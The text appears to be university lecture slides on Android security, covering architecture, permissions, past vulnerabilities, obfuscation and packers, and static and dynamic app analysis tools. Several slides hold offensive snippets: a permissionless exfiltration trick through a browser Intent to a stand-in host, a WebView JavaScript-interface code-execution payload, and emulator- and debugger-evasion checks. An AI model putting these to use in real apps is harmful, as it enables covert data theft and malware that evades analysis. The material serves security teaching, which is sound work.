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News from the Field
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Overview

• Android
– Architecture
– Security model
– Security risks
– Past vulnerabilities
– Analyzing and Attacking 

• Static
• Dynamic
• Tools
• Caveats

http://www.redmondpie.com/this-android-knows-his-dance-moves-video/
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Android != Java vs. 
Android == Java

• The Dalvik VM is the key element of the Android 
runtime
– targeted at slow CPUs, little memory, no swap

– has JIT

– register-based architecture

• Java source → Java bytecode (.class) → Dalvik (.dex)

• Upon startup of an app, Android
– Forks off an instance of the Dalvik VM from the Zygote 

process.

– Issues main intent to launch main activity

9
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Android System Architecture

• Linux
– Heavily modified and hardened

• SELINUX
– Syscall firewall 

• One Linux user per app
– Each app runs with own userid
– Heavily sandboxed
– Interpreted / JIT / transpiled bytecode VM (more 

on that later)
• Permission system
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Source: U'Smile Symposium - Nick Kralevich nnk@google.com 2015-09-09

Android Security Evolution
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Source: U'Smile Symposium - Nick Kralevich nnk@google.com 2015-09-09

Android Security Evolution – 4.1
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Source: U'Smile Symposium - Nick Kralevich nnk@google.com 2015-09-09

Android Security Evolution – 5.0
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Extensive System Hardening

• Android 5 has > 250 
SELinux rules

• ASLR
• No eXecute Memory
• FORTIFY_SOURCE
• Read-only Relocations
• Stack Canaries
• Non-PIE binaries 

banned

• Smaller System 
modules
– Can be patched by 

Google without 
waiting for handset 
manufacturers

• Android build around 
memory safe languages

• Native code specifically 
discouraged
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Android 6 Security Enhancements 

• Runtime Permissions
• Verified Boot
• Fingerprint unlocking
• “Clear Text Traffic” - strict mode prohibits apps from 

using clear text traffic/connections
• USB Access Control 
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Android 7 & 8 Security 
Enhancements

• File-based encryption (replacing device encryption)
• Library load-order randomization and improved ASLR
• Kernel Memory hardening 
• Trusted CA store

• Per User/App Android ID (SSAID) for increased 
privacy

• CFI for media Stack
• KASLR
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Android – System Architecture

Kernel
HW drivers, networking, file-system access, IPC

Kernel
HW drivers, networking, file-system access, IPC

Native Libraries
libc (Bionic) , OpenGL, WebKit, SQLite

Native Libraries
libc (Bionic) , OpenGL, WebKit, SQLite

Android Runtime
Dalvik VM, Java & Dalvik core libraries

Android Runtime
Dalvik VM, Java & Dalvik core libraries

Application Framework
Window manager, Telephony manager, Location manager, …

Application Framework
Window manager, Telephony manager, Location manager, …

ApplicationsApplications

System
Calls

JNI

Binder

17
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JAVA, DEX, VM, ByteCode, ART, ….

• Java sourcecode, but no JAVA VM
– Brand new implementation of the VM
– Should solve licensing issues, so they hoped…

• SUN was proud, Oracle sued
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Dalvik vs. ART

Dalvik
• .dex files, generated 

from .class
• JIT compiler
• Dalvik bytecode VM
• Register-based VM 

(original JAVA VM is a 
stack machine)

• Larger memory footprint

“Android Runtime” ART
• Ahead-of-time compiler

– Generates native ELF 
at installation time

• Uses same DEX 
bytecode format 
(compatibility)

• Faster, natively optimized 
for the current hardware

• Installation more costly
• Optional since Android 

4.4, default since 5.0
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https://en.wikipedia.org/wiki/Android_Runtime
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Executables: Android vs. iOS

Android
• Bytecode programs
• VM pro:

– Easy to manage 
hardware diversity

– Easy to migrate to 
future platforms

– Security checks
• VM cons:

– performance

IOS
• Fat-binaries

– Compiled natively for 
different plattforms 
and stitched together 

• Pro:
– Less CPU overhead

• Con:
– Big downloads
– Limitations in future 

upgrades
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Android Package Format (APK)

• All-in-one application archive
– Its basically a ZIP file (just like JAR, iOS-Apps, 

Openoffice-Documents, ….)
• APK usually unencrypted
• Can be encrypted 

– e.g. paid apps from the Play store
– You can scrape off the unencrypted files on a rooted 

phone
• Installation via 

– Play store
– USB
– Local on phone (e.g. website, email-attachment)
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Android – App Development

• No registration with Google necessary, but apps from the 
Play Store are regarded more “trustworthy”
– Apps in the Play Store are automatically checked by 

the “bouncer”

• User can install apps from arbitrary sources 
– configuration option

• “Rooting” (similar to jailbreaking) necessary for root-level 
access to device

24



Advanced Internet Security 25Advanced Internet Se
curity

Android – APK Structure

A
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(ZIP
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AndroidManifest.xml

(app metadata)

AndroidManifest.xml

(app metadata)

classes.dex

(compiled Java code)

classes.dex

(compiled Java code)

liblib

armeabi

(compiled ARM native code)

armeabi

(compiled ARM native code)

x86

(compiled x86 native code)

x86

(compiled x86 native code)

mips

(compiled mips native code)

mips

(compiled mips native code)

res

(app resources – anything)

res

(app resources – anything)

Various possibilities to store stuff – e.g. scripts in the resource directory

25
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APK Contents

• META-INF/
– MANIFEST.MF: the Manifest file
– CERT.RSA: The certificate of the application.
– CERT.SF: The list of resources and SHA-1 digest 

• lib/    Libraries and pre-compiled code
– e.g: armeabi  armeabi-v7a arm64-v8a    x86     x86_64    mips

• Res/
– the directory containing resources not compiled into resources.arsc (see below).

• Assets/ : a directory containing applications assets

• AndroidManifest.xml:  describing the name, version, access rights, referenced 
library files for the application. 
– (may be in Android binary XML;  convert to text-XML via AXMLPrinter2, android-apktool, or 

Androguard)

• classes.dex: The classes compiled in the dex file format understandable by the 
Dalvik virtual machine

• resources.arsc: a file containing precompiled resources, such as binary XML for 
example.

Signature-Version: 1.0
 Created-By: 1.0 (Android)
 SHA1-Digest-Manifest: wxqnEAI0UA5nO5QJ8CGMwjkGGWE=
 ...
 Name: res/layout/exchange_component_back_bottom.xml
 SHA1-Digest: eACjMjESj7Zkf0cBFTZ0nqWrt7w=
 ...
 Name: res/drawable-hdpi/icon.png
 SHA1-Digest: DGEqylP8W0n0iV/ZzBx3MW0WGCA=
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Android – Java App Components

• Activity
– GUI component (screen), composed of views (Button, 

TextView, ImageView, …) + handling code
• BroadCastReceiver 

– receives IPC messages, registered statically via 
manifest or programmatically

• Service 
– runs in the background (Activity without a GUI), not a 

thread/process!

27
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Permissions

• Set during APP installation
– Labeled in Manifest
– Can only be accepted or application will not be installed
– Some permissions only available when signed by Google, 

Manufacturer, Network provider,…
– Permission enforcement covers both Java and native 

code, either through checks in software, or checks based 
on an app’s GID

• New in Android M (6.0)
– Runtime checks for sensitive permissions
– Have to be granted separately
– During runtime
– Can also be revoked 
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Permission Examples

Permission Capability

INTERNET access the Internet

RECEIVE_SMS monitor, record, process incoming SMS

READ_CONTACTS access the address book, all of it

KILL_BACKGROUND_PROCESSES guess what ;)

ACCESS_COARSE/FINE_LOCATION access to GPS / GSM location information
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Internet without Permission

• If we don’t have the Internet permission, let’s call 
for neighborhood help

• Apps often open links in a browser using implicit 
Intents – we can do the same

32

startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse
    (“http://oursite.com/data?payload=9d8f2390e”)));

• Be more stealthy: only open browser when phone 
screen is off, close it when screen is on again
startActivity(new Intent(Intent.ACTION_MAIN).addCategory
(Intent.CATEGORY_HOME)));

• Now we have upstream – what about downstream?
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Binder

• Remote Procedure Call 
– In Kernel
– Basically, replaces System V IPC

• Between processes, services, system
– Used whenever two processes have to 

communicate/call, i.e. always :)
• Extends OpenBinder IPC
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Android – Binder

/dev/binder
binder IPC driver

/dev/binder
binder IPC driver

libutil.so
C++ binder middleware

libutil.so
C++ binder middleware

Dalvik VMDalvik VM Dalvik VMDalvik VM

App AApp A App B
(or ServiceManager, or …)

App B
(or ServiceManager, or …)

• Consists of:
– Kernel driver

– C++ middleware

– Java API

• Provides
– Messaging

– Transparent, synchronous RPC

• Binder
– Binder object implements Binder 

interface

– Binder token identifies specific Binder

– ServiceManager for name-based lookup

34
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Android – Intents

• Intent
– Message passed between processes

– Consists of target (optional for implicit intents), action and data

– Abstract representation of an operation to be performed (e.g. 
call number)

– Explicit vs. implicit: targeted at specific receiver vs. best suited 
chosen by OS

• Intent receivers
– Broadcast receivers (sendBroadcast), Services (startService, 

bindService), Activities (startActivity, startActivityForResult, …)

– Advertise capabilities via an IntentFilter (used for implicit 
intents) on action and data, specified in app’s manifest

35
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Intents

• Inter-Process-Communication (IPC) Mechanism
– Also within an application 

• between Activities or Activity and Service
– Or by the system

• Allows applications to communicate and exchange 
information
– Or between different “states” of the applications

• Generic (Implicit) intents to 
trigger on activity based on 
data type or a specific URL
– Chosen by OS, or User

• Runtime or in Manifest
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Android – Native Code

• Native code can be invoked through JNI interface

• Normally used for performance-critical tasks such as 
OpenGL

• Developers can implement their native code libraries 
with the Android NDK

37
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Before downloading the NDK, you should understand 
that the NDK will not benefit most apps. (...) Notably, 
using native code on Android generally does not result 
in a noticable performance improvement, but it always 
increases your app complexity. In general, you should 
only use the NDK if it is essential to your app—never 
because you simply prefer to program in C/C++.

From the NDK documentation...

http://oursite.com/data?payload=9d8f2390e
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Android Emulator

• Part of Android SDK
• Allows emulation of many different Android Platform 

versions
– Select an appropriate Android Virtual Device 

(AVD) [screen size, features, OS version]
• Based on Open-Source Qemu
• Translates CPU instructions if necessary 

– E.g. ARM AVD on Intel X86: Using Qemu all 
instructions are translated to Intel CPU 
instructions

– Intel AVD faster: less translation overhead
• Can run unmodified third-party apps

– Android apps are platform neutral anyways
• Helpful for mobile security testing

39
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Android Debug Bridge (ADB)

• Powerful device interaction toolkit for debugging 
and inspecting device state

• Typically turned off on consumer devices
– As ADB provides privileged access to the 

device’s file system and application and can 
allow unauthorized access to data

– Can be enabled in UI
• Command-line client adb

– Install/remove apps
– Shell, copy files, ...
– Screen capture, log, debugging, ...

40
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ADB architecture

41

PCPC Android DeviceAndroid Device

ADB Server (adb)ADB Server (adb) ADB Daemon 
(adbd)

ADB Daemon 
(adbd)

ADB Client 1 
(adb cmd-line)

ADB Client 1 
(adb cmd-line)

ADB Client 2 
(Eclipse)

ADB Client 2 
(Eclipse)

USB or TCPUSB or TCP

TCP 
(localhost:5037)
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ADB

• Some commands are handled by the local 
daemon

• Most are handled by the target Android 
device

42

adb devices

adb shell

adb install



Advanced Internet Security 43Advanced Internet Se
curity

Secure ADB

• Activated debugging on device gives 
attacker full access to device (can 
circumvent lockscreen)

• Android 4.2 hid the “Developer Options” 
UI where debugging could be turned on
– Mitigates accidental activation of 

ADB debugging
• Android 4.2.2 introduced “Secure ADB”

– Hosts need to be explicitly authorized 
by user in order to being able to 
connect the first time  to the device

43
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Developer Dialog

• Unhide “Developer Options”
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Past vulnerabilities

• Selected Examples

– External Storage (one permission to read them all)

– Read logs

– Webview

– APK zip signing issue

– Stagefright
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Android – innocent READ_LOGS

• The READ_LOGS permission may seem innocent, but a 
lot can be obtained from parsing and crawling logs:
– history and bookmarks (bookmark utility, opened links)

– running tasks (started activities)

– SMS (messaging log)

– contacts (call log)

– location (e.g. weather utility)

– Debug output (keys, tokens, auth material, URLs ,….)

47
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Webview

• Webviews are UI Elements that display local or remote HTML
– Heavily used for formatting text and loading external 

content from the web
– e.g. advertisements, Interface apps (Games, Facebook, 

derStandard)
– Has a Javascript interface that allow bidirectional 

communication and calls
– All public functions are exported
– Including reflection

• Instant remote execution
• Since Android 4.2/API level 17 apps can select which 

methods to export
• Apps compiled for older API level still vulnerable
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WebView Example

<script>
function execute(cmd){
  return window.jsinterface.getClass().
     forName('java.lang.Runtime').
     getMethod('getRuntime',null).
     invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh', '-c',
  'echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
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WebView – Threats

52

Victim ApplicationVictim Application

WebViewWebView

Malicious WebpageMalicious Webpage

App 
Code

App 
Code

Malicious ApplicationMalicious Application

WebViewWebView

Victim WebpageVictim Webpage

App 
Code

App 
Code

Malicious Webpage attacks App Malicious App attacks Webpage
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WebView – Malicious Webpage

• Break the browser sandbox by providing access to
– system resources (e.g. file store, camera)

– sensitive data (contacts)

• The question is: can the app guarantee that only 
the expected webpages are loaded?
– what happens if we click on a link in the FB app?

– what about iframes?

• Webpage has to be secure as well
– think of XSS with JavaScript

53
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WebView – Malicious App

• Lure user into visiting a certain webpage with 
a malicious app

• Inject JavaScript into the webpage
– e.g. spam all friends on Facebook

• Event sniffing and hijacking
– monitor keystrokes, clicks, form submission

– intercept and change URL loading, e.g. for SSL-
stripping or phishing redirection

54
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APK zip signing issue

• ZIP files do not check if the same filename is added 
multiple times

• Android APK signer tests (written in C++) for the first 
file found in the archive

• Android extractor (Java) extracts stores filenames as 
hashtable; latter filename overwrites the former

• Modify code in APK (maybe with system signature) 
by adding another file/class
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Stagefright

• Summer 2015
• libstagefright 

– Multimedia parsing library on android
– was not running as root (newer Androids)
– Integer overflow

• Remote Execution
– Can be triggered by MMS message, eMail, visiting 

a website, loading a video, …
• Final exploit

– Circumvented ALSR
– ICMP use-after-free in kernel
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Rooting

• Locked out of your own device
– For security purposes
– Also (should) protect against malicious apps

• Still often possible to get root permissions on device
– Usually through some kind of exploit
– Often in the vendor specific extensions

• Apps for rooting:
– Towelroot
– Kingroot
– Framaroot
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App Protections
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Obfuscations

• Renaming
• String Encryption
• Class / Resource Encryption
• Reflection
• Code Modifications

• Combinations of the above
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Name/Identifier Mangling
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String Encryption
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Junk Insertion
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Reflection

• Can be used with string encryption also
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Dynamic Code Loading

• Load code during execution of the program
• Well known and used technique on x86 machines 

(staged shellcode)
• Android gives us library functions for this

– Use e.g. Java.net.url to retrieve remote code
– The DexFile class can then be used to load an 

execute code

• You can also combine this with encryption
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Dynamic Code Modification

• Runtime modification of executed code (e.g. 
unpacking)

• Modify Dalvik Code
– Loaded Bytecode can not be altered without 

external helper
– using Java Native interface (JNI) allows code 

modification
• Modify Native Code

– Native code is executed on processor, not in JVM
– The same techniques like on normal x86 or ARM 

machines can be used
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Evading Emulators

• Simple Version: Check for Emulator in device string 

String device = Build.DEVICE;
if (device.equals("generic")) {

String env = "Emulator";
}
else {

String env = "Device";
}
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Evading Emulators

• Other Information to look for:
– Device ID (IdH)

• IMEI, IMSI
– Current build (buildH)

• Fields: PRODUCT, 
– MODEL, DEVICE

– Routing table (netH)
• virtual router

– address space: 10.0.2/24
• Emulated network

– IP address: 10.0.2.15
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Evading Emulators

• Look for the qemud process
– Small daemon, allows talking to emulator without need for 

kernel module
– Needed to support non existing hardware (gps, gsm, 

sensors,…)

find_qemud_process() {
for(int i = 0; i < 0x65; i++)

if( hash(read(“/proc/%d/cmdline”, 
i))== hash(“/system/bin/qemud”))

return true;
return false; }
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Evading Emulators

• Look at dynamic information

• Sensors:
– A key difference between mobile & conventional 

systems
– new opportunities for mobile devices identification
– Can emulators realistically simulate device 

sensors?
• Partially: same value, equal time intervals
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Evading Emulators

• Would a real user have 
– an empty call log 
– no SMS conversations 
– no contacts in the address book 
– an empty browsing history 
– no apps installed (per default no Google Play 

Services in emulator)
• Is the device always charging 

– Emulator per default always at 50 battery level 
• What is the current time/uptime
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Detect Debuggers

• Ptrace detection as usual. ;)

JNI_onLoad {
ptrace(PTRACE_TRACEME, 0, NULL, NULL) 
}
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Root Detection

• Some apps try to detect if they run on a rooted device
– And sometimes refuse to run

• Goal is to protect sensitive information
– Banking/Payment apps 
– But also DRM apps
– Other Malware

• Do not want to be tampered with
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Root Detection Methods

• Look for certain packages
– Superuser, supersu

• Check installed applications
– which su, busybox (often installed on rooted 

devices)
• Search BUILD-tag for test-keys

– To detect custom ROMs
– Stock ROMs usually have build.tags set to 
release-keys



Advanced Internet Security 74

Optimizers / Obfuscators / Packers

• Optimizers
– Good practice for devs
– Removes dead code / debug code

• Obfuscators
– Potentially encrypt / obfuscate / hide via reflection
– Often together with Optimizers

• Packers
– Encrypt / pack classes, native code, resources,…
– On the fly decryption / unpacking
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ProGuard

• Recommended by Google for release builds
– You do not want to obfuscate your apps during 

Development/Testing. ;)
• Features

– Optimizer
– Shrinker
– Obfuscator ( Names )

• Bundled with Android SDK (free to use)
– Therefore the  mostly used tool
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DexGuard

• From same Developer as ProGuard
– This is the paid Android specific version

• Extended Features:
– Everythin ProGuard Does
– String encryption
– Class file encryption
– Call hiding through reflection
– Native code obfuscation
– Native library encryption
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APKprotect

• Anti debug & anti disassembly

• Tool mangles original code
– Modifies entry point to loader stub
– Prevents static analysis

• During runtime loader stub is executed
– Performs anti-emulation
– Performs anti-debugging
– Fixes broken code in memory
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Bangcle

• Anti-debugging
• Anti-tamper
• Anti-decompilation
• Anti-runtime injection
• Online only service

– “APKs checked for malware before packaging”
• Generically detected by some AVs due to risk
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Bangcle – Inner Workings

• Execution Flow: 
– Dalvik execution talks launches JNI
– JNI launches a secondary process
– Chatter over PTRACE between the two processes
– Newest process decrypts Dex into memory
– Original Dalvik code proxies everything to 

decrypted Dex
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Analysing / Attacking 
Applications
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Attack types

• Static analysis

• Dynamic analysis

• Code injection
– Application modifications
– Function call hooking
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Static Analysis

• Lot's of different tools available
– Some try to do the same, but produce different 

results in different cases
– When in doubt, try another tool. ;)

• Analysing the APK itself
• Disassembly/Decompilation
• Also Modification of APKs/code

• Some useful tools already packed with the SDK
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Android Asset Packaging Tool: aapt

• From Android SDK build-tools
• Command-line tool to work with APKs

– List files in APKs
– dump used permissions

– Dump xmltree of the AndroidManifest
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Smali/Backsmali

• assembler/disassembler for the dex format used by 
dalvik
– The names "Smali" and "Baksmali" are the 

Icelandic equivalents of "assembler" and 
"disassembler" respectively.

• Allow analysis of DEX files
• It's also possible to inject code and recompile

– You don't have to write code yourself:
• Create code by creating another app, extract 

code from there and include it in the target app
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From Java to Smali
if (flagx == 1)

flagx = 2
else

flagx = 3

const/4 v1, 0x1
if-ne v0, v1, :cond_0
const/4 v2, 0x2
move v0,v2
goto :goto_0
:cond_0
const/4 v2, 0x3
move v0,v2
:goto_0

Code in Java

Code in Smali, v0 is flagx



Advanced Internet Security 86Advanced Internet Se
curity

Bytecode Manipulation

• Reading and writing smali is difficult
• Easier way: write the code in Java

– Use Eclipse/Android Studio
– Compile APK
– Decompile it
– See whatever code is generated for desired behaviour/function
– Merge it back into the APK you want to modify
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apktool

• Tool for reverse engineering APK files
– http://ibotpeaches.github.io/Apktool/

• Based on smali/backsmali
– Disassembling code to smali 
– Decode resources to original form

• Can be used to 
– Unpack
– Modify / inject smali
– Repack APKs
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Unpacking / Repacking

• Unpacking applications
– $ apktool d MyApp.apk Myapp

• d … decode
• MyApp.apk – apk to decode
• Myapp – folder to put decoded app

• Repacking 
– $ apktool b ./Myapp

• This will instruct apktool to rebuild the app
– The path to the new APK: ./Myapp/dist/
Myapp.apk

– But this app is not yet signed
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Resigning

• Signing the App
– First we create a keystore (holds your infos)

• $ keytool -genkey -v -keystore my-
release-key.keystore -alias 
alias_name -keyalg RSA-validity 
10000

– Then sign the keystore to the APK
• $ jarsigner -verbose -sigalg 
MD5withRSA -digestalg SHA1 -
keystore my-release-key.keystore ./
MyApp/dist/MyApp.apk alias_name
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Decompilation

• Decompilation of Binaries is hard

• Decompilation of interpreted languages is way easier 
(e.g. Java)
– Bytecode has higher level semantics than 

machine code
– Much more information left in bytecode



Advanced Internet Security 91Advanced Internet Se
curity

dex2jar

• dex2jar - https://code.google.com/p/dex2jar/
– Multi platform, Apache 2.0 license
– Converts Dalvik bytecode (DEX) to java bytecode 

(JAR)
– Allows to use any existing Java decompiler with 

the resulting JAR file
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enjarify

• Replacement for older dex2jar with the same goals
– Produce Java bytecode from DEX/APK

• Designed with robustness in mind
– Should still work, where dex2jar would fail

• Translating a apk to jar is as simple as
enjarify yourapp.apk -o yourapp.jar
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Java Decompilers

• Use existing JAVA Decompilers
• Procyon/Luyten, JD-Gui, Jad

– Take a .jar/.class files as input
– Create a readable JAVA represenation (mostly)
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JADX

• Dex to JAVA decompiler - https://github.com/skylot/jadx
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androguard

“Reverse engineering, Malware and goodware 
analysis of Android applications ... and more (ninja !)”

• Python tool that supports
–     DEX, ODEX
–     APK
–     Android's binary xml
–     Android resources
–     Disassemble DEX/ODEX bytecodes
–     Decompiler for DEX/ODEX files
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androguard's Decompiler

• Works directly in the python interface (e.g iPython)

http://ibotpeaches.github.io/Apktool/
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Simplify

• Generic Android Deobfuscator
– Uses a vm to execute app and understand 

behaviour
– https://github.com/CalebFenton/simplify

• Smalivm:
– Create context sensitive control flow graph

• Simplify:
– Take the graph and apply optimizations like:

• Constant propagation
• Dead code removal
• Unreflection (reflection removal)
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Limitations of Static Analysis

• Anti Analysis
– Code Mangling

• Reflection
• Encryption
• Dynamic Code Loading
• Dynamic Code Modifications



Advanced Internet Security 99

Dynamic Analysis

• Official Android Emulator
– “goldfish”, qemu-based
– http://developer.android.com/tools/devices/

emulator.html 
• Genymotion

– http://www.genymotion.com
• BlueStacks

– http://www.bluestacks.com/
• Andy  

– http://www.andyroid.net/
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Sandbox

• What is this “contained environment”?
• Typical setup:

– Android emulator (qemu)
– running Android OS
– install & run a malware/APK sample

https://code.google.com/p/dex2jar/
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Sandbox 
Capturing Behaviour

• Effect the APK has on a system
– file operations
– network operations
– interaction with other apps/processes

• Specific to mobile environment:
– phone activity (calls, text messages)
– usage of sensitive data (location, phone book)
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Sandbox 
Monitoring Options

• Code execution
– from internal function invocations down to single 

instructions
– very detailed

• Library usage
– invocation of typical library functions
– sufficient for capturing behavior
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Sandbox 
Stimulation

• There is no “main” method! Apps have multiple entry 
points
– activities (GUI screens, listed in manifest)
– services (background processes, not necessarily 

started)
– broadcast receivers (intent handlers)

• Apps react to “common events”
– incoming texts, calls, GPS lock

• Apps sometimes require user input
– e.g. TAN for a banking trojan
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Mobile Automation Tools

• Monkeyrunner
– Google's own tool
– Randomly generates events

• Good for fuzzing applications
• Triggering inputs/clicks
• Get a view on different activities automatically

• Other tools
– UI Automator
– Robotium
– Appium
– MonkeyTalk
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Analysis Services

• Andrubis (http://anubis.iseclab.org)
– bit-of-everything
– basic static analysis
– API usage
– NW analysis

• Copperdroid (http://copperdroid.isg.rhul.ac.uk/)
– focuses on native code analysis

• Tracedroid (http://tracedroid.few.vu.nl/)
– method-level execution tracing
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Google Bouncer

• Google has it's own Service for analysis
• Checks Apps before they are put into the play store

– Dynamically executes Apps for a certain time
– Can be fingerprinted / evaded
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Droidbox

• Dynamic analysis framework for android apps
– https://github.com/pjlantz/droidbox

• Provides the following (and more) results:
– Incoming/outgoing network data
– File read and write operations
– Started services and loaded classes through 

DexClassLoader
– Information leaks via the network, file and SMS
– Cryptographic operations performed using Android API
– Listing broadcast receivers
– ...
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Hooking Frameworks

• Allow on the fly hooking/modification of applications
– Modifiy APK/system behaviour
– No need for APK modifications
– Usually very modular systems

• Even with module repositories

• Well supported Frameworks available
– CydiaSubstrate

• http://www.cydiasubstrate.com/
– Xposed

• http://repo.xposed.info/
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Use cases

• Can also be utilized for reversing / app analysis
– e.g. Prevent root detection by applications
– already apps available

• Some Obfuscators already try to detect these 
frameworks
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Analysis and Penetration 
Testing Frameworks
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Santoku Linux

“Santoku is dedicated to mobile forensics, analysis, 
and security, and packaged in an easy to use, Open 

Source platform.”

• Linux Distribution for:
– Mobile forensics/malware analsis/security testing
– Already includes lot's of the described tools (and 

more)

• https://santoku-linux.com/
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Kali Linux Nethunter

• Just on a sidenote:
– You can also use your Phone for Pentesting

• Supports:
– Wireless 802.11 frame injection, 
– one-click MANA Evil Access Point setups

• Listen for Wifi beacons - setup network - auto SSL strip - 
dump credentials

– HID keyboard (Teensy like attacks) 
– “BadUSB” MITM attacks

• Rout network traffic through device 
• https://www.kali.org/kali-linux-nethunter/
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Summary

• Android in a Nutshell
– Security System
– APK Format
– IPC
– Permission System

• App Protections
– Obfuscation
– Packing
– Emulator/Root evasion
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Summary

• Analysing Applications
– Static, Dynamic
– Repacking

• Lot's of Tools to use
– We only gave a high level overview

• Described Tools have a lot more features
• Many more tools out there

• If you have further questions (or want to do a thesis), 
feel free to ask/send a mail

http://anubis.iseclab.org/
http://copperdroid.isg.rhul.ac.uk/
http://tracedroid.few.vu.nl/
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Have fun, there might be an Android 
Challenge… 
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